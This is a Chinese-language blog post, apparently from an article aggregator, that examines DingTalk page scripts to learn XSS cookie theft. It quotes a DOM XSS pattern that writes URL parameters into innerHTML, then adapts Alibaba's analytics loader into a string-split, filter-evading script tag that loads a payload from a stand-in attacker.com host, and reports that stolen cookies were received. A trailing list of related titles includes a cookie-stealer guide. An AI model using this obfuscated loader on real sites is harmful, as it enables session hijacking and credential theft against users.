通过钉钉网页上的js学习xss打cookie
2021-05-04 17:52
1276 查看
做完了一个项目,然后没啥事做,无意看到了一个钉钉的外部链接:
题外话1:
查看源码,复制其中的代码:
try { var search = location.search; if (search && search.length > 1 && search.charAt(0) === '?') { search = search.substr(1); var pairs = search.split('&'); var kv = {}; for (var i in pairs) { var parts = pairs[i].split('='); if (parts && parts.length > 1) { kv[parts[0]] = parts[1]; } } } var errcode = kv['errcode']; var errmsg = kv['errmsg']; if (errcode) { var divCode = document.getElementById('code'); if (divCode) { divCode.innerHTML += ('errcode: ' + errcode); } } if (errmsg) { var divMsg = document.getElementById('msg'); if (divMsg) { divMsg.innerHTML += ('errmsg: ' + errmsg); } } } catch (e) {console.log(e);}
关键部分是:
写入errcode和errmsg到divCode和divMsg中。
其中errcode和errmsg都是我们可控的。
打开console简单测试下:
不懂没关系直接做:
说明我们外部可控,导致这个原因是因为遍历的是location.search
本地搓个demo:
只要errcode和errmsg为xss代码,即可触发xss攻击。很可惜这里。。最后做了处理。
正题:加载第三方js代码:
刷新钉钉页面:
发现加载了一些js链接依赖:
查看源码,看看他怎么调用的:
<body><script> with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute("exparams","category=&userid=&aplus&yunid=&asid=AQAAAACQE5FgnOSuMgAAAABIYPwz9qqvRg==",id="tb-beacon-aplus",src="//g.alicdn.com/alilog/mlog/aplus_"+(navigator.userAgent.match(/iPhone|iPad|iPod|Android|AliApp|Yunos|cyclone/i)?"wap":"v2")+".js") </script> <script> with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute("exparams","category=&userid=&aplus&yunid=&asid=AQAAAABZTjBWUtd7PwAAAADFkiVZ/vYnWw==",id="tb-beacon-aplus",src=(location>"https"?"//s":"//a")+".tbcdn.cn/s/aplus_v2.js") </script> <script> with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute("exparams","category=&userid=&aplus&yunid=&asid=AQAAAACwfC9W2oJjYAAAAABOnkqCwpd6EA==",id="tb-beacon-aplus",src= ad8 (location>"https"?"//s":"//a")+".tbcdn.cn/s/aplus_v2.js") </script>
相当有意思,不同于以前的,以前我们xss打cookie/外部加载js都是是这样的:
<script src="http://attacker.com/xss.js"></script>
通过阿里加载js的方式,我们可以改造我们的加载方式如下:
<script type="text/javascript"> with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute(src=("http://attac")+"ker.com/xs"+"s.js") </script>
我们访问网页:
&nbs 1275 p;
直接加载了,查看我们是否接收到:
成功接收成功。
这个cookie窃取已经不是啥骚姿势了,只是这次通过阿里正常加载js地址,学习包装型的cookie获取。
相关文章推荐
- 通过Jquery.cookie.js实现展示浏览网页的历史记录超管用
- 通过js来设置cookie和读取cookie,实现登陆时记住密码的功能 base64加密
- JS写XSS cookie stealer来窃取密码的步骤详解
- 制作几个最简单的网页,需要学习HTML与CSS就好了,通过hbuilder写代码就好了,易迅达 精心推荐
- web开发设计--JS学习之通过ID获取元素
- node.js的学习历程九Cookie和Session的初步认识和理解
- js学习之——网页侧边栏广告效果
- 自我学习总结2:在各个网页基本上一致时,通过URL传一个值就可以实现一个html实现多个页
- 韩顺平_轻松搞定网页设计(html+css+javascript)_第22讲_js三大流程控制(顺序流程、分支控制、循环控制)_学习笔记_源代码图解_PPT文档整理
- 通过js给网页加上水印背景
- Ferris这个教程学习笔记:js示例2.1:网页换肤
- js 通过封装函数用来创建cookie
- js通过XMLHttpRequest获取网页不能跨域,试iframe
- 网页动态加载图片 通过JS和jquery实现。
- 前端学习 之 HTML通过JS调用HTTP
- js通过cookie控制显示时间
- 韩顺平_轻松搞定网页设计(html+css+javascript)_第24讲_js案例讲解_js自定义函数_学习笔记_源代码图解_PPT文档整理
- 通过网页传递参数[WEB学习示例]
- 分享前端开发中通过js设置cookie的一组方法
- Vue通过操作Dom元素 实现 拖拽文件到网页进行文件上传【JS/JQ 原理也是一样的】